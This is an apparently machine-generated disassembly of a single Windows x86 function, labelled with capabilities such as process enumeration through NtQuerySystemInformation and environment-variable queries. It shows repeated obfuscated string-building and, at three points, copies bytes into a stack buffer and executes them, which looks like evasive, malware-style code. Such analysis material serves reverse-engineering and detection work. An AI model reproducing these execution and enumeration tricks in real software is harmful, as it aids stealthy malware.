Function at 0x4234fc
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Make suspicious ntquerysysteminformation call
Query environment variable

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x57]
sub esp, 0x7c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75d8]
test al, al
jne 0x42355e
mov dword [esp], 0x4e75d8
call fcn.004d5a00
test eax, eax
je 0x42355e
mov dword [esp], ebx
mov ecx, 0x4eaee0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6800
call fcn.004013f0
mov dword [esp], 0x4e75d8
call fcn.004d5ad0
mov ecx, 0x4eaee0
call fcn.0043164c
mov dword [esp], 0x4eaee0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e74f0]
test al, al
jne 0x4235c5
mov dword [esp], 0x4e74f0
call fcn.004d5a00
test eax, eax
je 0x4235c5
mov dword [esp], ebx
mov ecx, 0x4eaccc
call fcn.0043167c
push edi
mov dword [esp], 0x4d6804
call fcn.004013f0
mov dword [esp], 0x4e74f0
call fcn.004d5ad0
mov ecx, 0x4eaccc
call fcn.0043164c
mov dword [esp], 0x4eaccc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7540]
test al, al
jne 0x42362c
mov dword [esp], 0x4e7540
call fcn.004d5a00
test eax, eax
je 0x42362c
mov dword [esp], ebx
mov ecx, 0x4ead44
call fcn.0043167c
push esi
mov dword [esp], 0x4d6808
call fcn.004013f0
mov dword [esp], 0x4e7540
call fcn.004d5ad0
mov ecx, 0x4ead44
call fcn.0043164c
mov dword [esp], 0x4ead44
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7580]
test al, al
jne 0x423693
mov dword [esp], 0x4e7580
call fcn.004d5a00
test eax, eax
je 0x423693
mov dword [esp], ebx
mov ecx, 0x4eade8
call fcn.0043167c
push ecx
mov dword [esp], 0x4d680c
call fcn.004013f0
mov dword [esp], 0x4e7580
call fcn.004d5ad0
mov ecx, 0x4eade8
call fcn.0043164c
mov dword [esp], 0x4eade8
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75b0]
test al, al
jne 0x4236fa
mov dword [esp], 0x4e75b0
call fcn.004d5a00
test eax, eax
je 0x4236fa
mov dword [esp], ebx
mov ecx, 0x4eae6c
call fcn.0043167c
push edx
mov dword [esp], 0x4d6810
call fcn.004013f0
mov dword [esp], 0x4e75b0
call fcn.004d5ad0
mov ecx, 0x4eae6c
call fcn.0043164c
mov dword [esp], 0x4eae6c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75b8]
test al, al
jne 0x423761
mov dword [esp], 0x4e75b8
call fcn.004d5a00
test eax, eax
je 0x423761
mov dword [esp], ebx
mov ecx, 0x4eae78
call fcn.0043167c
push eax
mov dword [esp], 0x4d6818
call fcn.004013f0
mov dword [esp], 0x4e75b8
call fcn.004d5ad0
mov ecx, 0x4eae78
call fcn.0043164c
mov dword [esp], 0x4eae78
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75c0]
test al, al
jne 0x4237c8
mov dword [esp], 0x4e75c0
call fcn.004d5a00
test eax, eax
je 0x4237c8
mov dword [esp], ebx
mov ecx, 0x4eae84
call fcn.0043167c
push eax
mov dword [esp], 0x4d681c
call fcn.004013f0
mov dword [esp], 0x4e75c0
call fcn.004d5ad0
mov ecx, 0x4eae84
call fcn.0043164c
mov dword [esp], 0x4eae84
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75c8]
test al, al
jne 0x42382f
mov dword [esp], 0x4e75c8
call fcn.004d5a00
test eax, eax
je 0x42382f
mov dword [esp], ebx
mov ecx, 0x4eae90
call fcn.0043167c
push eax
mov dword [esp], 0x4d6820
call fcn.004013f0
mov dword [esp], 0x4e75c8
call fcn.004d5ad0
mov ecx, 0x4eae90
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4eae90
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x5b], 0x8500fe7e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e75d0]
test al, al
jne 0x423899
mov dword [esp], 0x4e75d0
call fcn.004d5a00
test eax, eax
je 0x423899
mov dword [esp], ebx
mov ecx, 0x4eaea0
call fcn.00431614
push eax
mov dword [esp], 0x4d6824
call fcn.004013f0
mov dword [esp], 0x4e75d0
call fcn.004d5ad0
mov ecx, 0x4eaea0
call fcn.004315e4
mov dword [esp], 0x4eaea0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42391f
lea eax, [ebp - 0x5b]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e74f8]
test al, al
jne 0x423909
mov dword [esp], 0x4e74f8
call fcn.004d5a00
test eax, eax
je 0x423909
mov dword [esp], ebx
mov ecx, 0x4eacd8
call fcn.0043167c
push eax
mov dword [esp], 0x4d6830
call fcn.004013f0
mov dword [esp], 0x4e74f8
call fcn.004d5ad0
mov ecx, 0x4eacd8
call fcn.0043164c
mov dword [esp], 0x4eacd8
call fcn.00424ea0
lea eax, [ebp - 0x60]
xor edi, edi
mov dword [esp], 5
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], edi
call sub.ntdll.dll_NtQuerySystemInformation
sub esp, 0x10
cmp eax, 0xc0000004
jne 0x4241d2
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x60]
xor esi, esi
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.004278c0
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x4241d2
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7500]
test al, al
jne 0x4239bf
mov dword [esp], 0x4e7500
call fcn.004d5a00
test eax, eax
je 0x4239bf
mov dword [esp], ebx
mov ecx, 0x4eace4
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6834
call fcn.004013f0
mov dword [esp], 0x4e7500
call fcn.004d5ad0
mov ecx, 0x4eace4
call fcn.0043164c
mov dword [esp], 0x4eace4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7508]
test al, al
jne 0x423a26
mov dword [esp], 0x4e7508
call fcn.004d5a00
test eax, eax
je 0x423a26
mov dword [esp], ebx
mov ecx, 0x4eacf0
call fcn.0043167c
push edx
mov dword [esp], 0x4d6838
call fcn.004013f0
mov dword [esp], 0x4e7508
call fcn.004d5ad0
mov ecx, 0x4eacf0
call fcn.0043164c
mov dword [esp], 0x4eacf0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7510]
test al, al
jne 0x423a8d
mov dword [esp], 0x4e7510
call fcn.004d5a00
test eax, eax
je 0x423a8d
mov dword [esp], ebx
mov ecx, 0x4eacfc
call fcn.0043167c
push eax
mov dword [esp], 0x4d6840
call fcn.004013f0
mov dword [esp], 0x4e7510
call fcn.004d5ad0
mov ecx, 0x4eacfc
call fcn.0043164c
mov dword [esp], 0x4eacfc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7518]
test al, al
jne 0x423af4
mov dword [esp], 0x4e7518
call fcn.004d5a00
test eax, eax
je 0x423af4
mov dword [esp], ebx
mov ecx, 0x4ead08
call fcn.0043167c
push eax
mov dword [esp], 0x4d6844
call fcn.004013f0
mov dword [esp], 0x4e7518
call fcn.004d5ad0
mov ecx, 0x4ead08
call fcn.0043164c
mov dword [esp], 0x4ead08
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7520]
test al, al
jne 0x423b5b
mov dword [esp], 0x4e7520
call fcn.004d5a00
test eax, eax
je 0x423b5b
mov dword [esp], ebx
mov ecx, 0x4ead14
call fcn.0043167c
push eax
mov dword [esp], 0x4d6848
call fcn.004013f0
mov dword [esp], 0x4e7520
call fcn.004d5ad0
mov ecx, 0x4ead14
call fcn.0043164c
mov dword [esp], 0x4ead14
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7528]
test al, al
jne 0x423bc2
mov dword [esp], 0x4e7528
call fcn.004d5a00
test eax, eax
je 0x423bc2
mov dword [esp], ebx
mov ecx, 0x4ead20
call fcn.0043167c
push eax
mov dword [esp], 0x4d684c
call fcn.004013f0
mov dword [esp], 0x4e7528
call fcn.004d5ad0
mov ecx, 0x4ead20
call fcn.0043164c
mov dword [esp], 0x4ead20
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7530]
test al, al
jne 0x423c29
mov dword [esp], 0x4e7530
call fcn.004d5a00
test eax, eax
je 0x423c29
mov dword [esp], ebx
mov ecx, 0x4ead2c
call fcn.0043167c
push eax
mov dword [esp], 0x4d6850
call fcn.004013f0
mov dword [esp], 0x4e7530
call fcn.004d5ad0
mov ecx, 0x4ead2c
call fcn.0043164c
mov dword [esp], 0x4ead2c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7538]
test al, al
jne 0x423c90
mov dword [esp], 0x4e7538
call fcn.004d5a00
test eax, eax
je 0x423c90
mov dword [esp], ebx
mov ecx, 0x4ead38
call fcn.0043167c
push edi
mov dword [esp], 0x4d6854
call fcn.004013f0
mov dword [esp], 0x4e7538
call fcn.004d5ad0
mov ecx, 0x4ead38
lea edi, [ebp - 0x57]
lea ebx, [ebp - 0x57]
mov esi, 0x4e7100
call fcn.0043164c
mov dword [esp], 0x4ead38
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x5b], 0x99100682
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e7548]
test al, al
jne 0x423cfe
mov dword [esp], 0x4e7548
call fcn.004d5a00
test eax, eax
je 0x423cfe
mov dword [esp], ebx
mov ecx, 0x4ead60
call fcn.00431614
push esi
mov dword [esp], 0x4d6858
call fcn.004013f0
mov dword [esp], 0x4e7548
call fcn.004d5ad0
mov ecx, 0x4ead60
call fcn.004315e4
mov dword [esp], 0x4ead60
call sub.msvcrt.dll_getenv
test eax, eax
je 0x423d84
lea eax, [ebp - 0x5b]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7550]
test al, al
jne 0x423d6e
mov dword [esp], 0x4e7550
call fcn.004d5a00
test eax, eax
je 0x423d6e
mov dword [esp], ebx
mov ecx, 0x4eada0
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6868
call fcn.004013f0
mov dword [esp], 0x4e7550
call fcn.004d5ad0
mov ecx, 0x4eada0
call fcn.0043164c
mov dword [esp], 0x4eada0
call fcn.00424ea0
lea eax, [ebp - 0x60]
lea esi, [ebp - 0x57]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], 5
mov dword [esp + 4], eax
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov ebx, eax
sub esp, 0x10
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7558]
test al, al
jne 0x423dfe
mov dword [esp], 0x4e7558
call fcn.004d5a00
test eax, eax
je 0x423dfe
mov dword [esp], esi
mov ecx, 0x4eadac
call fcn.0043167c
push edx
mov dword [esp], 0x4d686c
call fcn.004013f0
mov dword [esp], 0x4e7558
call fcn.004d5ad0
mov ecx, 0x4eadac
call fcn.0043164c
mov dword [esp], 0x4eadac
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7560]
test al, al
jne 0x423e65
mov dword [esp], 0x4e7560
call fcn.004d5a00
test eax, eax
je 0x423e65
mov dword [esp], esi
mov ecx, 0x4eadb8
call fcn.0043167c
push eax
mov dword [esp], 0x4d6870
call fcn.004013f0
mov dword [esp], 0x4e7560
call fcn.004d5ad0
mov ecx, 0x4eadb8
call fcn.0043164c
mov dword [esp], 0x4eadb8
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7568]
test al, al
jne 0x423ecc
mov dword [esp], 0x4e7568
call fcn.004d5a00
test eax, eax
je 0x423ecc
mov dword [esp], esi
mov ecx, 0x4eadc4
call fcn.0043167c
push eax
mov dword [esp], 0x4d6874
call fcn.004013f0
mov dword [esp], 0x4e7568
call fcn.004d5ad0
mov ecx, 0x4eadc4
call fcn.0043164c
mov dword [esp], 0x4eadc4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7570]
test al, al
jne 0x423f33
mov dword [esp], 0x4e7570
call fcn.004d5a00
test eax, eax
je 0x423f33
mov dword [esp], esi
mov ecx, 0x4eadd0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6878
call fcn.004013f0
mov dword [esp], 0x4e7570
call fcn.004d5ad0
mov ecx, 0x4eadd0
call fcn.0043164c
mov dword [esp], 0x4eadd0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7578]
test al, al
jne 0x423f9a
mov dword [esp], 0x4e7578
call fcn.004d5a00
test eax, eax
je 0x423f9a
mov dword [esp], esi
mov ecx, 0x4eaddc
call fcn.0043167c
push eax
mov dword [esp], 0x4d687c
call fcn.004013f0
mov dword [esp], 0x4e7578
call fcn.004d5ad0
mov ecx, 0x4eaddc
call fcn.0043164c
mov dword [esp], 0x4eaddc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7588]
test al, al
jne 0x424001
mov dword [esp], 0x4e7588
call fcn.004d5a00
test eax, eax
je 0x424001
mov dword [esp], esi
mov ecx, 0x4eadf4
call fcn.0043167c
push eax
mov dword [esp], 0x4d6880
call fcn.004013f0
mov dword [esp], 0x4e7588
call fcn.004d5ad0
mov ecx, 0x4eadf4
call fcn.0043164c
mov dword [esp], 0x4eadf4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7590]
test al, al
jne 0x424068
mov dword [esp], 0x4e7590
call fcn.004d5a00
test eax, eax
je 0x424068
mov dword [esp], esi
mov ecx, 0x4eae00
call fcn.0043167c
push edi
mov dword [esp], 0x4d6884
call fcn.004013f0
mov dword [esp], 0x4e7590
call fcn.004d5ad0
mov ecx, 0x4eae00
call fcn.0043164c
mov dword [esp], 0x4eae00
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e7598]
test al, al
jne 0x4240cf
mov dword [esp], 0x4e7598
call fcn.004d5a00
test eax, eax
je 0x4240cf
mov dword [esp], esi
mov ecx, 0x4eae0c
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6888
call fcn.004013f0
mov dword [esp], 0x4e7598
call fcn.004d5ad0
mov ecx, 0x4eae0c
lea edi, [ebp - 0x57]
mov esi, 0x4e7100
call fcn.0043164c
mov dword [esp], 0x4eae0c
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x5b], 0xad200e86
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x57]
mov al, byte [0x4e75a0]
test al, al
jne 0x42413d
mov dword [esp], 0x4e75a0
call fcn.004d5a00
test eax, eax
je 0x42413d
mov dword [esp], esi
mov ecx, 0x4eae20
call fcn.00431614
push edx
mov dword [esp], 0x4d688c
call fcn.004013f0
mov dword [esp], 0x4e75a0
call fcn.004d5ad0
mov ecx, 0x4eae20
call fcn.004315e4
mov dword [esp], 0x4eae20
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4241c3
lea eax, [ebp - 0x5b]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e75a8]
test al, al
jne 0x4241ad
mov dword [esp], 0x4e75a8
call fcn.004d5a00
test eax, eax
je 0x4241ad
mov dword [esp], esi
mov ecx, 0x4eae60
call fcn.0043167c
push eax
mov dword [esp], 0x4d689c
call fcn.004013f0
mov dword [esp], 0x4e75a8
call fcn.004d5ad0
mov ecx, 0x4eae60
call fcn.0043164c
mov dword [esp], 0x4eae60
call fcn.00424ea0
test ebx, ebx
jns 0x4241e6
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call fcn.004281ec
xor eax, eax
jmp 0x424207
mov edx, dword [ebp - 0x6c]
mov edx, dword [edx]
add dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp dword [eax], 0
je 0x4241fa
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [ebp + 8]
test al, al
jne 0x4241d6
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call fcn.004281ec
mov al, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8